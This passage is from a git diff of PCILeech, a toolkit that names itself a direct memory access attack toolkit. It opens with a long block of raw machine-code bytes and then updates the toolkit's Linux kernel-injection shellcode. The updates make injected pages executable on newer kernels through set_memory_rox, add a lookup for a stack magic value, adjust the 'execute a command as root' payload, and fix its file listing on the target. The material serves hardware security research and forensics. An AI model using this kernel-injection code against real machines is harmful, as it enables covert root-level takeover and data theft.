- 0x40, 0x08, 0x48, 0x83, 0xf8, 0x01, 0x75, 0x11, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb,
- 0xe8, 0xa7, 0xf9, 0xff, 0xff, 0x8b, 0xc0, 0xeb, 0x59, 0x48, 0x83, 0xf8, 0x03, 0x75, 0x0f, 0x48,
- 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x04, 0xfe, 0xff, 0xff, 0xeb, 0xe7, 0x48, 0x83,
- 0xf8, 0x02, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xb3, 0xfe, 0xff,
- 0xff, 0xeb, 0xd2, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b,
- 0xcb, 0xe8, 0xaa, 0xf8, 0xff, 0xff, 0xeb, 0xbd, 0x48, 0x83, 0xf8, 0x05, 0x75, 0x1b, 0x48, 0x8d,
- 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xe5, 0xf8, 0xff, 0xff, 0xeb, 0xa8, 0xb8, 0x06, 0x00,
- 0x00, 0xf0, 0x48, 0x89, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xc0, 0x00, 0x00, 0x00,
- 0x5b, 0xc3, 0x00
+ 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x61, 0x48, 0x8b, 0x8b, 0x90, 0x00, 0x00, 0x00, 0x48,
+ 0x85, 0xc9, 0x75, 0x04, 0x48, 0x8b, 0x4b, 0x20, 0x4c, 0x8b, 0x87, 0x08, 0x02, 0x00, 0x00, 0x48,
+ 0x8d, 0x85, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x03, 0x47, 0x28, 0x48, 0x8b, 0xd6, 0x4c, 0x8b, 0x8f,
+ 0x10, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x04, 0xf6, 0xff, 0xff, 0x48, 0x89,
+ 0x87, 0x00, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x8b, 0xd6, 0xe8,
+ 0xee, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x87, 0x00, 0x02, 0x00, 0x00, 0x48, 0x39, 0x87, 0x10, 0x02,
+ 0x00, 0x00, 0x1b, 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b,
+ 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc,
+ 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x30, 0x49,
+ 0x8b, 0xd8, 0x48, 0x8b, 0xfa, 0x4d, 0x8b, 0x40, 0x10, 0x45, 0x33, 0xc9, 0x49, 0xc1, 0xe0, 0x03,
+ 0x41, 0x81, 0xe0, 0x00, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x8d, 0x53, 0x18, 0x49,
+ 0x81, 0xc8, 0x01, 0x00, 0x04, 0x00, 0xe8, 0x87, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8,
+ 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76, 0x07, 0xb8, 0x02, 0x00,
+ 0x00, 0xf0, 0xeb, 0x4e, 0x48, 0x8b, 0x8f, 0x98, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x75, 0x04,
+ 0x48, 0x8b, 0x4f, 0x28, 0x4c, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x83, 0x28, 0x03,
+ 0x00, 0x00, 0x4c, 0x8d, 0x83, 0x38, 0x03, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8b,
+ 0xd6, 0xe8, 0x3c, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x4f, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd6,
+ 0x48, 0x8b, 0xd8, 0xe8, 0x2a, 0xf5, 0xff, 0xff, 0x48, 0xf7, 0xdb, 0x1b, 0xc0, 0x25, 0x05, 0x00,
+ 0x00, 0xf0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x30,
+ 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x81, 0xec, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54,
+ 0x24, 0x20, 0x48, 0x8b, 0xd9, 0xe8, 0xba, 0xf5, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01,
+ 0x00, 0x00, 0xf0, 0xe9, 0xa6, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x83, 0x08, 0x01, 0x00, 0x00, 0x4c,
+ 0x03, 0x43, 0x28, 0x48, 0x81, 0xbb, 0x00, 0x01, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00, 0x0f, 0x82,
+ 0x85, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x0f, 0x13, 0xaa, 0x93, 0xad, 0x20, 0xe7, 0x79, 0x49, 0x39,
+ 0x00, 0x75, 0x76, 0x41, 0xf6, 0x40, 0x10, 0x10, 0x75, 0x6f, 0x49, 0x8b, 0x40, 0x08, 0x48, 0x83,
+ 0xf8, 0x01, 0x75, 0x11, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x9f, 0xf9, 0xff,
+ 0xff, 0x8b, 0xc0, 0xeb, 0x59, 0x48, 0x83, 0xf8, 0x03, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20,
+ 0x48, 0x8b, 0xcb, 0xe8, 0x04, 0xfe, 0xff, 0xff, 0xeb, 0xe7, 0x48, 0x83, 0xf8, 0x02, 0x75, 0x0f,
+ 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xb3, 0xfe, 0xff, 0xff, 0xeb, 0xd2, 0x48,
+ 0x83, 0xf8, 0x04, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xa2, 0xf8,
+ 0xff, 0xff, 0xeb, 0xbd, 0x48, 0x83, 0xf8, 0x05, 0x75, 0x1b, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48,
+ 0x8b, 0xcb, 0xe8, 0xdd, 0xf8, 0xff, 0xff, 0xeb, 0xa8, 0xb8, 0x06, 0x00, 0x00, 0xf0, 0x48, 0x89,
+ 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xc0, 0x00, 0x00, 0x00, 0x5b, 0xc3, 0x00
};
const BYTE MACOS_VFS_KSH[] = {
diff --git a/pcileech/util.c b/pcileech/util.c
index e199324..2bf76f1 100644
--- a/pcileech/util.c
+++ b/pcileech/util.c
@@ -562,7 +562,7 @@ VOID Util_CreateSignatureLinuxGeneric(_In_ QWORD paBase,
Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE2", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb);
Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE3", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb);
pSignature->chunk[2].cbOffset = (DWORD)(dwBaseFnHijack2M + (vaFnHijack & 0x1fffff));
- pSignature->chunk[3].cbOffset = 0xd00;
+ pSignature->chunk[3].cbOffset = 0xcc0;
pSignature->chunk[4].cbOffset = (DWORD)(dwBaseKallsyms2M + (vaFnKallsyms & 0x1fffff));
pSignature->chunk[0].qwAddress = paBase + dwBaseFnHijack2M + (vaFnHijack & 0x1ff000);
pSignature->chunk[1].qwAddress = paBase;
diff --git a/pcileech/version.h b/pcileech/version.h
index c5eb33e..91fa0e0 100644
--- a/pcileech/version.h
+++ b/pcileech/version.h
@@ -2,9 +2,9 @@
#define STRINGIZE(s) STRINGIZE2(s)
#define VERSION_MAJOR 4
-#define VERSION_MINOR 16
-#define VERSION_REVISION 3
-#define VERSION_BUILD 40
+#define VERSION_MINOR 17
+#define VERSION_REVISION 0
+#define VERSION_BUILD 41
#define VER_FILE_DESCRIPTION_STR "The PCILeech Direct Memory Access Attack Toolkit"
#define VER_FILE_VERSION VERSION_MAJOR, VERSION_MINOR, VERSION_REVISION, VERSION_BUILD
diff --git a/pcileech/vfs.c b/pcileech/vfs.c
index 6cdbf8b..37ab2bd 100644
--- a/pcileech/vfs.c
+++ b/pcileech/vfs.c
@@ -71,6 +71,7 @@ static PVFS_GLOBAL_STATE g_vfs = NULL;
_Success_(return)
BOOL VfsInitOperation(_Out_ PVFS_OPERATION pop, _In_ QWORD qwOperation, _In_ LPSTR uszPath)
{
+ DWORD o;
ZeroMemory(pop, sizeof(VFS_OPERATION));
pop->magic = VFS_OP_MAGIC;
pop->op = qwOperation;
@@ -85,7 +86,9 @@ BOOL VfsInitOperation(_Out_ PVFS_OPERATION pop, _In_ QWORD qwOperation, _In_ LPS
return TRUE;
}
} else {
- CharUtil_UtoU(uszPath, -1, (PBYTE)pop->szFileName, (DWORD)sizeof(pop->szFileName), NULL, NULL, CHARUTIL_FLAG_STR_BUFONLY | CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR);
+ pop->szFileName[0] = '/';
+ o = (uszPath[0] == '\\') ? 0 : 1;
+ CharUtil_UtoU(uszPath, -1, (PBYTE)pop->szFileName + o, (DWORD)sizeof(pop->szFileName) - o, NULL, NULL, CHARUTIL_FLAG_STR_BUFONLY | CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR);
CharUtil_ReplaceAllA(pop->szFileName, '\\', '/');
return TRUE;
}
diff --git a/pcileech/vfslist.c b/pcileech/vfslist.c
index 56a2abb..95062d9 100644
--- a/pcileech/vfslist.c
+++ b/pcileech/vfslist.c
@@ -307,12 +307,13 @@ BOOL VfsList_ListDirectoryW(_In_ LPWSTR wszPath, _In_opt_ PVOID ctx, _In_opt_ PF
/*
* Evaluate whether a given cachemap entry is still valid time wise.
+* -- H = not used
* -- qwContext
* -- qwKey
* -- pvObject
* -- return
*/
-BOOL VfsList_ValidEntry(_Inout_ PQWORD qwContext, _In_ QWORD qwKey, _In_ PVFSLISTOB_DIRECTORY pvObject)
+BOOL VfsList_ValidEntry(_In_opt_ VMM_HANDLE H, _Inout_ PQWORD qwContext, _In_ QWORD qwKey, _In_ PVFSLISTOB_DIRECTORY pvObject)
{
UNREFERENCED_PARAMETER(qwContext);
UNREFERENCED_PARAMETER(qwKey);
@@ -343,8 +344,9 @@ _Success_(return)
BOOL VfsList_Initialize(_In_ VFS_LIST_U_PFN pfnVfsListU, _In_ DWORD dwCacheValidMs, _In_ DWORD cCacheMaxEntries, _In_ BOOL fSingleThread)
{
g_ctxVfsList.pcm = ObCacheMap_New(
+ NULL,
cCacheMaxEntries,
- (BOOL(*)(PQWORD, QWORD, PVOID))VfsList_ValidEntry,
+ (BOOL(*)(VMM_HANDLE, PQWORD, QWORD, PVOID))VfsList_ValidEntry,
OB_CACHEMAP_FLAGS_OBJECT_OB
);
if(!g_ctxVfsList.pcm) { return FALSE; }
diff --git a/pcileech_shellcode/lx64_common.h b/pcileech_shellcode/lx64_common.h
index ee71a39..c33cc77 100644
--- a/pcileech_shellcode/lx64_common.h
+++ b/pcileech_shellcode/lx64_common.h
@@ -34,6 +34,29 @@ extern QWORD m_phys_to_virt(QWORD p1);
extern QWORD m_page_to_phys(QWORD p1);
extern VOID CacheFlush();
+typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main control program)
+ QWORD msleep;
+ QWORD alloc_pages_current;
+ QWORD set_memory_x;
+ QWORD __free_pages;
+ QWORD memcpy;
+ QWORD schedule;
+ QWORD do_gettimeofday;
+ QWORD walk_system_ram_range;
+ QWORD iounmap;
+ QWORD ioremap;
+ // optional values below - do not use
+ QWORD ktime_get_real_ts64; // do_gettimeofday alternative if export is missing.
+ QWORD _ioremap_nocache;
+ QWORD getnstimeofday64; // do_gettimeofday alternative if export is missing.
+ QWORD alloc_pages;
+ QWORD set_memory_nx; // 6.4+ kernels
+ QWORD set_memory_rox; // 6.4+ kernels
+ QWORD set_memory_rw; // 6.4+ kernels
+ QWORD _wincall_asm_callback; // linux ksh-module specific callback address (settable by ksh module). [offset: 0x88 / 0x388]
+ QWORD ReservedFutureUse[14];
+} FNLX, *PFNLX;
+
/*
* KMD DATA struct. This struct must be contained in a 4096 byte section (page).
* This page/struct is used to communicate between the inserted kernel code and
@@ -64,7 +87,10 @@ typedef struct tdKMDDATA {
QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data.
QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer.
QWORD dataOut[28]; // [0x220]
- PVOID fn[32]; // [0x300] used by shellcode to store function pointers.
+ union {
+ FNLX fnlx; // [0x300] used by shellcode to store function pointers.
+ PVOID fn[32]; // [0x300] used by shellcode to store function pointers.
+ };
CHAR dataInStr[MAX_PATH]; // [0x400] string in-data
CHAR ReservedFutureUse2[252];
CHAR dataOutStr[MAX_PATH]; // [0x600] string out-data
diff --git a/pcileech_shellcode/lx64_common_a.asm b/pcileech_shellcode/lx64_common_a.asm
index 9e245e9..f0503d4 100644
--- a/pcileech_shellcode/lx64_common_a.asm
+++ b/pcileech_shellcode/lx64_common_a.asm
@@ -22,6 +22,9 @@ EXTRN c_EntryPoint:NEAR
.CODE
main PROC
+ PUSH rcx ; PKMDDATA
+ MOV rax, 0f00ff0011337fed5h ; magic
+ PUSH rax ; magic
PUSH rsi
MOV rsi, rsp
AND rsp, 0FFFFFFFFFFFFFFF0h
@@ -29,6 +32,8 @@ main PROC
CALL c_EntryPoint
MOV rsp, rsi
POP rsi
+ POP rax
+ POP rax
RET
main ENDP
@@ -114,18 +119,35 @@ SysVCall PROC
SysVCall ENDP
; ------------------------------------------------------------------
-; WinCall callback function pointer.
+; Fetch the address of PKMDDATA from the stack by looking for the
+; magic value 0f00ff0011337fed5h.
; ------------------------------------------------------------------
-data_wincall_fnptr dq 0
+KMDDATA_FromStackMagic PROC
+ PUSH rcx
+ PUSH rdx
+ XOR rax, rax
+ MOV rdx, 0f00ff0011337fed5h
+ KMDDATA_FromStack_Loop:
+ MOV rcx, [rsp + 8 * rax]
+ INC rax
+ CMP rcx, rdx
+ JNE KMDDATA_FromStack_Loop
+ MOV rax, [rsp + 8 * rax]
+ POP rdx
+ POP rcx
+ RET
+KMDDATA_FromStackMagic ENDP
; ------------------------------------------------------------------
; Set the (windows x64 calling convention compatible) callback function
-; to forward callbacks sent to WinCall to.
-; NB! This requires the memory to be RWX.
-; rcx -> address of kallsyms_lookup_name
+; to forward callbacks sent to WinCall to. Address is saved in:
+; KMDDATA->fn._wincall_asm_callback
+; rcx <- address of callback function
; ------------------------------------------------------------------
WinCallSetFunction PROC
- MOV [data_wincall_fnptr], rcx
+ CALL KMDDATA_FromStackMagic
+ ADD rax, 388h
+ MOV [rax], rcx
RET
WinCallSetFunction ENDP
@@ -134,7 +156,7 @@ WinCallSetFunction ENDP
; to the Windows Windows X64 calling convention.
; Function typically called by the Linux kernel as a callback function.
; The address of the Windows X64 function to forward the call to is
-; set by 'WinCallSetFunction'.
+; set by 'WinCallSetFunction' (KMDDATA->fn._wincall_asm_callback).
; A maximum of six (6) parameters are supported.
; rdi -> rcx
; rsi -> rdx
@@ -156,7 +178,10 @@ WinCall PROC
MOV rdx, rsi
MOV rcx, rdi
- MOV rax, [data_wincall_fnptr]
+ CALL KMDDATA_FromStackMagic ; KMDDATA->fn._wincall_asm_callback
+ ADD rax, 388h
+ MOV rax, [rax]
+
CALL rax
MOV rsp, r15
POP r15
diff --git a/pcileech_shellcode/lx64_exec_root.c b/pcileech_shellcode/lx64_exec_root.c
index e6d2633..6a08dba 100644
--- a/pcileech_shellcode/lx64_exec_root.c
+++ b/pcileech_shellcode/lx64_exec_root.c
@@ -4,7 +4,7 @@
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_exec_root.c
// ml64 lx64_common_a.asm /Felx64_exec_root.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_exec_root.obj lx64_common.obj
-// shellcode64.exe -o lx64_exec_root.exe "EXECUTE A COMMAND AS ROOT \nLINUX X64 EDITION \n===============================================================\nExecute a program as root. \nREQUIRED OPTIONS: \n -s : command to execute including parameters \n Example: '-s touch /tmp/testfile.txt' \n===== EXECUTION ATTEMPT DETAILED RESULT INFORMATION ===========\nEXECUTE AS ROOT RESULT: %s\nRESULT CODE : 0x%08X\n==============================================================="
+// shellcode64.exe -o lx64_exec_root.exe "EXECUTE A COMMAND AS ROOT \nLINUX X64 EDITION \n===============================================================\nExecute a program as root. \nREQUIRED OPTIONS: \n -s : command to execute including parameters \n Example: '-s touch /tmp/testfile.txt' \n -1 : run flag - set to non zero to execute command. \n===== EXECUTION ATTEMPT DETAILED RESULT INFORMATION ===========\nEXECUTE AS ROOT RESULT: %s\nRESULT CODE : 0x%08X\n==============================================================="
//
#include "lx64_common.h"
@@ -33,6 +33,11 @@ VOID c_EntryPoint(PKMDDATA pk)
CHAR e2[] = { 'P', 'A', 'T', 'H', '=', '/', 'b', 'i', 'n', ':', '/', 's', 'b', 'i', 'n', ':', '/', 'u', 's', 'r', '/', 'b', 'i', 'n', ':', '/', 'u', 's', 'r', '/', 's', 'b', 'i', 'n', 0 };
char* envp[4] = { e0, e1, e2, NULL };
+ if(!pk->dataIn[1]) {
+ pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;
+ return;
+ }
+
if (!LookupFunctions2(pk, &fn2)) {
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
return;
diff --git a/pcileech_shellcode/lx64_stage2.asm b/pcileech_shellcode/lx64_stage2.asm
index c9a32c7..4cf38a3 100644
--- a/pcileech_shellcode/lx64_stage2.asm
+++ b/pcileech_shellcode/lx64_stage2.asm
@@ -120,18 +120,7 @@ setup PROC
CALL m_phys_to_virt
MOV r12, rax
; ----------------------------------------------------
- ; 2: SET CODE PAGE TO EXECUTABLE
- ; ----------------------------------------------------
- LEA rax, main
- LEA rdi, str_set_memory_x
- CALL r14
- TEST rax, rax
- JZ error
- MOV rdi, r12
- MOV rsi, 2
- CALL rax
- ; ----------------------------------------------------
- ; 3: CLEAR AND COPY STAGE3 PRE BINARY TO AREA
+ ; 2: CLEAR AND COPY STAGE3 PRE BINARY TO AREA
; ----------------------------------------------------
MOV rdi, r12
CALL clear_8k
@@ -147,6 +136,22 @@ setup PROC
TEST rdi, rdi
JNZ copy_stage3_pre_loop
; ----------------------------------------------------
+ ; 3: SET CODE PAGE TO EXECUTABLE
+ ; ----------------------------------------------------
+ LEA rdi, str_set_memory_rox
+ CALL r14
+ TEST rax, rax
+ JNZ set_memory_exec
+ LEA rdi, str_set_memory_x
+ CALL r14
+ TEST rax, rax
+ JZ error
+ set_memory_exec:
+ MOV rdi, r12
+ ADD rdi, 1000h
+ MOV rsi, 1
+ CALL rax
+ ; ----------------------------------------------------
; 4: CREATE THREAD & SET UP DATA AREA
; (try kthread_create_on_node 1st, kthread_create 2nd)
; ----------------------------------------------------
@@ -295,6 +300,7 @@ str_kthread_create db 'kthread_create', 0
str_kthread_create_on_node db 'kthread_create_on_node', 0
str_alloc_pages_current db 'alloc_pages_current', 0
str_alloc_pages db 'alloc_pages', 0
+str_set_memory_rox db 'set_memory_rox', 0
str_set_memory_x db 'set_memory_x', 0
str_wake_up_process db 'wake_up_process', 0
str_page_offset_base db 'page_offset_base', 0
diff --git a/pcileech_shellcode/lx64_stage3.asm b/pcileech_shellcode/lx64_stage3.asm
index 8ab42b7..4b9ebd5 100644
--- a/pcileech_shellcode/lx64_stage3.asm
+++ b/pcileech_shellcode/lx64_stage3.asm
@@ -59,7 +59,7 @@ LookupFunctions PROC
PUSH r13
MOV r15, rcx ; address of kallsyms_lookup_name
MOV r14, rdx ; ptr to FNLX struct
- MOV r13, 14*8 ; num functions * 8
+ MOV r13, 17*8 ; num functions * 8
; ----------------------------------------------------
; 1: PUSH FUNCTION NAME POINTERS ON STACK
; ----------------------------------------------------
@@ -91,6 +91,12 @@ LookupFunctions PROC
PUSH rax
LEA rax, str_alloc_pages
PUSH rax
+ LEA rax, str_set_memory_nx
+ PUSH rax
+ LEA rax, str_set_memory_rox
+ PUSH rax
+ LEA rax, str_set_memory_rw
+ PUSH rax
; ----------------------------------------------------
; 2: LOOKUP FUNCTION POINTERS BY NAME
; ----------------------------------------------------
@@ -130,6 +136,9 @@ LookupFunctions PROC
LookupFunctions ENDP
str_alloc_pages_current db 'alloc_pages_current', 0
+str_set_memory_nx db 'set_memory_nx', 0
+str_set_memory_rox db 'set_memory_rox', 0
+str_set_memory_rw db 'set_memory_rw', 0
str_set_memory_x db 'set_memory_x', 0
str__free_pages db '__free_pages', 0
str_memcpy db 'memcpy', 0
diff --git a/pcileech_shellcode/lx64_stage3_c.c b/pcileech_shellcode/lx64_stage3_c.c
index 41af447..647a805 100644
--- a/pcileech_shellcode/lx64_stage3_c.c
+++ b/pcileech_shellcode/lx64_stage3_c.c
@@ -53,7 +53,11 @@ typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main co
QWORD _ioremap_nocache;
QWORD getnstimeofday64; // do_gettimeofday alternative if export is missing.
QWORD alloc_pages;
- QWORD ReservedFutureUse[18];
+ QWORD set_memory_nx; // 6.4+ kernels
+ QWORD set_memory_rox; // 6.4+ kernels
+ QWORD set_memory_rw; // 6.4+ kernels
+ QWORD _wincall_asm_callback; // linux ksh-module specific callback address (settable by ksh module). [offset: 0x88 / 0x388]
+ QWORD ReservedFutureUse[14];
} FNLX, *PFNLX;
#define KMDDATA_OPERATING_SYSTEM_LINUX 0x02
@@ -193,6 +197,7 @@ BOOL LookupFunctionsEx(PKMDDATA pk)
// size of memory operation
VOID stage3_c_EntryPoint(PKMDDATA pk)
{
+ BOOL fROX;
QWORD pStructPages, qwMM, qw;
TIMEVAL timeLast, timeCurrent;
// 0: set up symbols and kmd data
@@ -202,13 +207,16 @@ VOID stage3_c_EntryPoint(PKMDDATA pk)
pk->_status = 0xf0000001;
return;
}
+ fROX = pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx;
// 1: allocate memory
if(0 == (pStructPages = AllocateMemoryDma(pk, TRUE))) {
pk->_status = 0xf0000002;
return;
}
pk->DMAAddrVirtual = m_phys_to_virt(pk->AddrKallsymsLookupName, pk->DMAAddrPhysical);
- SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, pk->DMASizeBuffer / 4096);
+ if(!fROX) {
+ SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, pk->DMASizeBuffer / 4096);
+ }
// 2: main dump loop
SysVCall(pk->fn.do_gettimeofday, &timeLast);
while(TRUE) {
@@ -242,8 +250,15 @@ VOID stage3_c_EntryPoint(PKMDDATA pk)
CacheFlush();
}
if(KMD_CMD_EXEC == pk->_op) { // EXEC at start of buffer
+ if(fROX) {
+ SysVCall(pk->fn.set_memory_rox, pk->DMAAddrVirtual, 0x80);
+ }
((VOID(*)(PKMDDATA pk, PQWORD dataIn, PQWORD dataOut))pk->DMAAddrVirtual)(pk, pk->dataIn, pk->dataOut);
pk->_result = TRUE;
+ if(fROX) {
+ SysVCall(pk->fn.set_memory_nx, pk->DMAAddrVirtual, 0x80);
+ SysVCall(pk->fn.set_memory_rw, pk->DMAAddrVirtual, 0x80);
+ }
}
if(KMD_CMD_READ == pk->_op || KMD_CMD_WRITE == pk->_op) { // PHYSICAL MEMORY READ/WRITE
// qw :: 0 [all in range], 1 [some in range], 0xffffffff [none in range]
diff --git a/pcileech_shellcode/lx64_vfs.c b/pcileech_shellcode/lx64_vfs.c
index cfae31b..b9d571c 100644
--- a/pcileech_shellcode/lx64_vfs.c
+++ b/pcileech_shellcode/lx64_vfs.c
@@ -124,7 +124,7 @@ struct kstat_4_11 {
struct timespec ctime;
struct timespec btime;
QWORD blocks;
- QWORD _pcileech_dummy_extra[2];
+ QWORD _pcileech_dummy_extra[4];
};
//-----------------------------------------------------------------------------
@@ -208,11 +208,15 @@ static int VfsList_CallbackIterateDir(PDIR_CONTEXT_EXTENDED ctx, const char *nam
UNREFERENCED_PARAMETER(pos);
QWORD i;
PVFS_RESULT_FILEINFO pfi;
+ // note: function signature of filldir_t signature changed from returning int
+ // to returning bool in kernel 6.1. set_memory_rox was added in kernel 6.2 -
+ // since this is close enough use it. For kernel 6.2 iterate will fail after
+ // first item, but it's a small enough issue to ignore for now.
+ int retval = ctx->pk->fnlx.set_memory_rox ? 1 : 0;
if(ctx->pk->dataOutExtraLength + sizeof(VFS_RESULT_FILEINFO) > ctx->pk->dataOutExtraLengthMax) {
- return 0;
+ return retval;
}
pfi = (PVFS_RESULT_FILEINFO)(ctx->pk->DMAAddrVirtual + ctx->pk->dataOutExtraOffset + ctx->pk->dataOutExtraLength);
- SysVCall(ctx->fn->memset, pfi, 0, sizeof(VFS_RESULT_FILEINFO));
switch(d_type) {
case DT_REG:
pfi->flags = VFS_FLAGS_FILE_NORMAL;
@@ -227,11 +231,12 @@ static int VfsList_CallbackIterateDir(PDIR_CONTEXT_EXTENDED ctx, const char *nam
pfi->flags = VFS_FLAGS_FILE_OTHER;
break;
}
- for(i = 0; i < len && i < MAX_PATH - 1; i++) {
+ for(i = 0; (i < len) && (i < MAX_PATH - 1); i++) {
pfi->wszFileName[i] = name[i];
}
+ pfi->wszFileName[i] = 0;
ctx->pk->dataOutExtraLength += sizeof(VFS_RESULT_FILEINFO);
- return 0;
+ return retval;
}
QWORD UnixToWindowsFiletime(QWORD tv) {
@@ -254,8 +259,10 @@ VOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
if(0 == pop->szFileName[o]) { break; }
sz[o] = pop->szFileName[o];
}
- sz[o] = '/';
- o++;
+ if(o && (sz[o - 1] != '/')) {
+ sz[o] = '/';
+ o++;
+ }
pk->dataOut[2] = cfi;
for(p = 0; p < cfi; p++) {
pfi = (PVFS_RESULT_FILEINFO)(pk->DMAAddrVirtual + pk->dataOutExtraOffset + p * sizeof(VFS_RESULT_FILEINFO));
@@ -266,14 +273,17 @@ VOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
}
sz[o + i] = 0;
if(pfn2->vfs_statx_opt) { // 4.11 kernels and later.
- result = SysVCall(pfn2->vfs_statx_opt, AT_FDCWD, sz, AT_NO_AUTOMOUNT, &kstat_4_11, STATX_BASIC_STATS);
- if(result && pfn2->kern_path_opt && pfn2->vfs_getattr_nosec_opt) {
- // 5.12 kernels and later will fail vfs_statx - use alternative method:
+ result = 1;
+ // 5.12 kernels and later will fail vfs_statx - use alternative method first:
+ if(pfn2->kern_path_opt && pfn2->vfs_getattr_nosec_opt) {
result = SysVCall(pfn2->kern_path_opt, sz, AT_NO_AUTOMOUNT, path);
if(0 == result) {
result = SysVCall(pfn2->vfs_getattr_nosec_opt, path, &kstat_4_11, STATX_BASIC_STATS, 0);
if(pfn2->path_put_opt) { SysVCall(pfn2->path_put_opt, path); }
}
+ } else {
+ // This will fail on kernel 5.18 and later due to signature change of vfs_statx
+ result = SysVCall(pfn2->vfs_statx_opt, AT_FDCWD, sz, AT_NO_AUTOMOUNT, &kstat_4_11, STATX_BASIC_STATS);
}
if(0 == result) {
pfi->cb = kstat_4_11.size;
@@ -281,7 +291,7 @@ VOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
pfi->tCreateOpt = UnixToWindowsFiletime(kstat_4_11.ctime.tv_sec);
pfi->tModifyOpt = UnixToWindowsFiletime(kstat_4_11.mtime.tv_sec);
}
- } else { // 4.10 kernels and earlier.
+ } else if(pfn2->vfs_stat_opt) { // 4.10 kernels and earlier.
result = SysVCall(pfn2->vfs_stat_opt, sz, &kstat_4_10);
if(0 == result) {
pfi->cb = kstat_4_10.size;
@@ -304,6 +314,7 @@ STATUS VfsList(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
}
WinCallSetFunction((QWORD)VfsList_CallbackIterateDir);
dce.ctx.actor = (QWORD)WinCall;
+ dce.ctx.pos = 0;
dce.fn = pfn2;
dce.pk = pk;
dce.pop = pop;
diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj b/pcileech_shellcode/pcileech_shellcode.vcxproj
index b2eee75..c0fa8b2 100644
--- a/pcileech_shellcode/pcileech_shellcode.vcxproj
+++ b/pcileech_shellcode/pcileech_shellcode.vcxproj
@@ -52,6 +52,7 @@
+
diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters
index c067589..82263f6 100644
--- a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters
+++ b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters
@@ -147,6 +147,9 @@
Source Files\umd_exec
+
+ Source Files\exec
+
